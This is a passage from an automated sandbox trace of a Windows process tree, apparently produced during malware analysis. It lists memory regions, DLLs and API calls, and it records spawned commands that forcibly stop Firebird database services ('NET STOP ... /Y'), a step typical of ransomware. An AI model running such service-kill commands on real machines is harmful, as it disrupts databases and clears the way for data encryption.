0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1061 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1062 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1063 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1064 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1065 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1066 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1067 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1068 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1069 start_va = 0x4b0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1070 start_va = 0x75130000 end_va = 0x75147fff entry_point = 0x75130000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 1071 start_va = 0x75150000 end_va = 0x75161fff entry_point = 0x75150000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 1072 start_va = 0x75170000 end_va = 0x75180fff entry_point = 0x75170000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1073 start_va = 0x75190000 end_va = 0x751b1fff entry_point = 0x75190000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 1074 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 1075 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1076 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1077 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1078 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1079 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1080 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1081 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1082 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1083 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1084 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1085 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1086 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1087 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1088 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1089 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1090 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1091 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1092 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1093 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1094 start_va = 0x751d0000 end_va = 0x751d1fff entry_point = 0x751d0000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 20 os_tid = 0xaec [0038.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f9d4 | out: lpSystemTimeAsFileTime=0x24f9d4*(dwLowDateTime=0xd8561fc0, dwHighDateTime=0x1d4abdd)) [0038.823] GetCurrentProcessId () returned 0xae8 [0038.823] GetCurrentThreadId () returned 0xaec [0038.823] GetTickCount () returned 0x19e12 [0038.823] QueryPerformanceCounter (in: lpPerformanceCount=0x24f9cc | out: lpPerformanceCount=0x24f9cc*=1811405300000) returned 1 [0038.824] GetModuleHandleA (lpModuleName=0x0) returned 0x4c0000 [0038.824] __set_app_type (_Type=0x1) [0038.824] __p__fmode () returned 0x75ed31f4 [0038.824] __p__commode () returned 0x75ed31fc [0038.824] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4cffe6) returned 0x0 [0038.824] __getmainargs (in: _Argc=0x4d9064, _Argv=0x4d906c, _Env=0x4d9068, _DoWildCard=0, _StartInfo=0x4d9024 | out: _Argc=0x4d9064, _Argv=0x4d906c, _Env=0x4d9068) returned 0 [0038.824] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.824] GetConsoleOutputCP () returned 0x1b5 [0038.825] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4d9080 | out: lpCPInfo=0x4d9080) returned 1 [0038.825] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.828] sprintf_s (in: _DstBuf=0x24f98c, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0038.828] setlocale (category=0, locale=".437") returned="English_United States.437" [0038.830] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.830] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.830] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP FirebirdServerDefaultInstance /Y" [0038.830] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24f758, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0038.831] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0038.832] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x24f95c | out: Buffer=0x24f95c*=0x261c78) returned 0x0 [0038.832] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x24f95c | out: Buffer=0x24f95c*=0x261c90) returned 0x0 [0038.832] _fileno (_File=0x75ed2900) returned 0 [0038.832] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0038.832] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0038.832] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0038.832] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0038.832] _wcsicmp (_String1="continue", _String2="STOP") returned -16 [0038.832] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0038.832] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0038.833] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0038.833] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0038.833] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0038.833] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0038.833] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0038.833] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0038.833] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0038.833] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0038.833] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0038.833] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0038.833] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0038.833] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0038.833] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0038.833] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0038.833] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0038.833] _wcsicmp (_String1="accounts", _String2="FirebirdServerDefaultInstance") returned -5 [0038.833] _wcsicmp (_String1="computer", _String2="FirebirdServerDefaultInstance") returned -3 [0038.833] _wcsicmp (_String1="config", _String2="FirebirdServerDefaultInstance") returned -3 [0038.833] _wcsicmp (_String1="continue", _String2="FirebirdServerDefaultInstance") returned -3 [0038.833] _wcsicmp (_String1="cont", _String2="FirebirdServerDefaultInstance") returned -3 [0038.833] _wcsicmp (_String1="file", _String2="FirebirdServerDefaultInstance") returned -6 [0038.833] _wcsicmp (_String1="files", _String2="FirebirdServerDefaultInstance") returned -6 [0038.833] _wcsicmp (_String1="group", _String2="FirebirdServerDefaultInstance") returned 1 [0038.833] _wcsicmp (_String1="groups", _String2="FirebirdServerDefaultInstance") returned 1 [0038.833] _wcsicmp (_String1="help", _String2="FirebirdServerDefaultInstance") returned 2 [0038.833] _wcsicmp (_String1="helpmsg", _String2="FirebirdServerDefaultInstance") returned 2 [0038.833] _wcsicmp (_String1="localgroup", _String2="FirebirdServerDefaultInstance") returned 6 [0038.833] _wcsicmp (_String1="pause", _String2="FirebirdServerDefaultInstance") returned 10 [0038.833] _wcsicmp (_String1="session", _String2="FirebirdServerDefaultInstance") returned 13 [0038.833] _wcsicmp (_String1="sessions", _String2="FirebirdServerDefaultInstance") returned 13 [0038.833] _wcsicmp (_String1="sess", _String2="FirebirdServerDefaultInstance") returned 13 [0038.833] _wcsicmp (_String1="share", _String2="FirebirdServerDefaultInstance") returned 13 [0038.833] _wcsicmp (_String1="start", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="stats", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="statistics", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="stop", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="time", _String2="FirebirdServerDefaultInstance") returned 14 [0038.834] _wcsicmp (_String1="user", _String2="FirebirdServerDefaultInstance") returned 15 [0038.834] _wcsicmp (_String1="users", _String2="FirebirdServerDefaultInstance") returned 15 [0038.834] _wcsicmp (_String1="msg", _String2="FirebirdServerDefaultInstance") returned 7 [0038.834] _wcsicmp (_String1="messenger", _String2="FirebirdServerDefaultInstance") returned 7 [0038.834] _wcsicmp (_String1="receiver", _String2="FirebirdServerDefaultInstance") returned 12 [0038.834] _wcsicmp (_String1="rcv", _String2="FirebirdServerDefaultInstance") returned 12 [0038.834] _wcsicmp (_String1="netpopup", _String2="FirebirdServerDefaultInstance") returned 8 [0038.834] _wcsicmp (_String1="redirector", _String2="FirebirdServerDefaultInstance") returned 12 [0038.834] _wcsicmp (_String1="redir", _String2="FirebirdServerDefaultInstance") returned 12 [0038.834] _wcsicmp (_String1="rdr", _String2="FirebirdServerDefaultInstance") returned 12 [0038.834] _wcsicmp (_String1="workstation", _String2="FirebirdServerDefaultInstance") returned 17 [0038.834] _wcsicmp (_String1="work", _String2="FirebirdServerDefaultInstance") returned 17 [0038.834] _wcsicmp (_String1="wksta", _String2="FirebirdServerDefaultInstance") returned 17 [0038.834] _wcsicmp (_String1="prdr", _String2="FirebirdServerDefaultInstance") returned 10 [0038.834] _wcsicmp (_String1="devrdr", _String2="FirebirdServerDefaultInstance") returned -2 [0038.834] _wcsicmp (_String1="lanmanworkstation", _String2="FirebirdServerDefaultInstance") returned 6 [0038.834] _wcsicmp (_String1="server", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="svr", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="srv", _String2="FirebirdServerDefaultInstance") returned 13 [0038.834] _wcsicmp (_String1="lanmanserver", _String2="FirebirdServerDefaultInstance") returned 6 [0038.834] _wcsicmp (_String1="alerter", _String2="FirebirdServerDefaultInstance") returned -5 [0038.834] _wcsicmp (_String1="netlogon", _String2="FirebirdServerDefaultInstance") returned 8 [0038.834] _wcsupr (in: _String="FirebirdServerDefaultInstance" | out: _String="FIREBIRDSERVERDEFAULTINSTANCE") returned="FIREBIRDSERVERDEFAULTINSTANCE" [0038.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x2654c0 [0038.837] GetServiceKeyNameW (in: hSCManager=0x2654c0, lpDisplayName="FIREBIRDSERVERDEFAULTINSTANCE", lpServiceName=0x4daaf0, lpcchBuffer=0x24f8f8 | out: lpServiceName="", lpcchBuffer=0x24f8f8) returned 0 [0038.838] _wcsicmp (_String1="msg", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 7 [0038.838] _wcsicmp (_String1="messenger", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 7 [0038.838] _wcsicmp (_String1="receiver", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 12 [0038.838] _wcsicmp (_String1="rcv", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 12 [0038.838] _wcsicmp (_String1="redirector", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 12 [0038.838] _wcsicmp (_String1="redir", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 12 [0038.838] _wcsicmp (_String1="rdr", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 12 [0038.838] _wcsicmp (_String1="workstation", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 17 [0038.838] _wcsicmp (_String1="work", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 17 [0038.838] _wcsicmp (_String1="wksta", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 17 [0038.838] _wcsicmp (_String1="prdr", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 10 [0038.838] _wcsicmp (_String1="devrdr", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned -2 [0038.838] _wcsicmp (_String1="lanmanworkstation", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 6 [0038.838] _wcsicmp (_String1="server", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 13 [0038.838] _wcsicmp (_String1="svr", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 13 [0038.838] _wcsicmp (_String1="srv", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 13 [0038.838] _wcsicmp (_String1="lanmanserver", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 6 [0038.839] _wcsicmp (_String1="alerter", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned -5 [0038.839] _wcsicmp (_String1="netlogon", _String2="FIREBIRDSERVERDEFAULTINSTANCE") returned 8 [0038.839] NetServiceControl (in: servername=0x0, service="FIREBIRDSERVERDEFAULTINSTANCE", opcode=0x0, arg=0x0, bufptr=0x24f8f4 | out: bufptr=0x24f8f4) returned 0x889 [0038.840] wcscpy_s (in: _Destination=0x4da4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0038.840] LoadLibraryW (lpLibFileName="NETMSG") returned 0x751d0000 [0038.840] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x751d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0x4db338, nSize=0x800, Arguments=0x4d9dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0038.842] GetFileType (hFile=0xb) returned 0x2 [0038.845] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f814 | out: lpMode=0x24f814) returned 1 [0038.846] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4db338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x24f834, lpReserved=0x0 | out: lpBuffer=0x4db338*, lpNumberOfCharsWritten=0x24f834*=0x1e) returned 1 [0038.846] GetFileType (hFile=0xb) returned 0x2 [0038.846] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f814 | out: lpMode=0x24f814) returned 1 [0038.846] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4c16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f834, lpReserved=0x0 | out: lpBuffer=0x4c16cc*, lpNumberOfCharsWritten=0x24f834*=0x2) returned 1 [0038.847] _ultow (in: _Dest=0x889, _Radix=2422884 | out: _Dest=0x889) returned="2185" [0038.847] FormatMessageW (in: dwFlags=0x2800, lpSource=0x751d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0x4db338, nSize=0x800, Arguments=0x4d9dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0038.847] GetFileType (hFile=0xb) returned 0x2 [0038.847] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f820 | out: lpMode=0x24f820) returned 1 [0038.848] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4db338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x24f840, lpReserved=0x0 | out: lpBuffer=0x4db338*, lpNumberOfCharsWritten=0x24f840*=0x34) returned 1 [0038.849] GetFileType (hFile=0xb) returned 0x2 [0038.849] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f820 | out: lpMode=0x24f820) returned 1 [0038.849] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4c16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f840, lpReserved=0x0 | out: lpBuffer=0x4c16cc*, lpNumberOfCharsWritten=0x24f840*=0x2) returned 1 [0038.850] NetApiBufferFree (Buffer=0x261c78) returned 0x0 [0038.850] NetApiBufferFree (Buffer=0x261c90) returned 0x0 [0038.850] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP FirebirdServerDefaultInstance /Y" [0038.850] exit (_Code=2) Process: id = "20" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4cecd000" os_pid = "0xaf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdGuardianDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1095 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1096 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1097 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1098 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1099 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1100 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1101 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1102 start_va = 0x49d60000 end_va = 0x49dabfff entry_point = 0x49d60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1103 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1104 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1105 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1106 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1107 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1108 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1109 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1110 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1111 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1112 start_va = 0xa0000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1113 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1114 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1115 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1116 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1117 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1118 start_va = 0x120000 end_va = 0x186fff entry_point = 0x120000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1119 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1120 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1121 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1122 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1123 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1124 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1125 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1126 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1127 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1128 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1129 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1130 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1131 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1132 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1133 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1134 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1135 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1136 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = 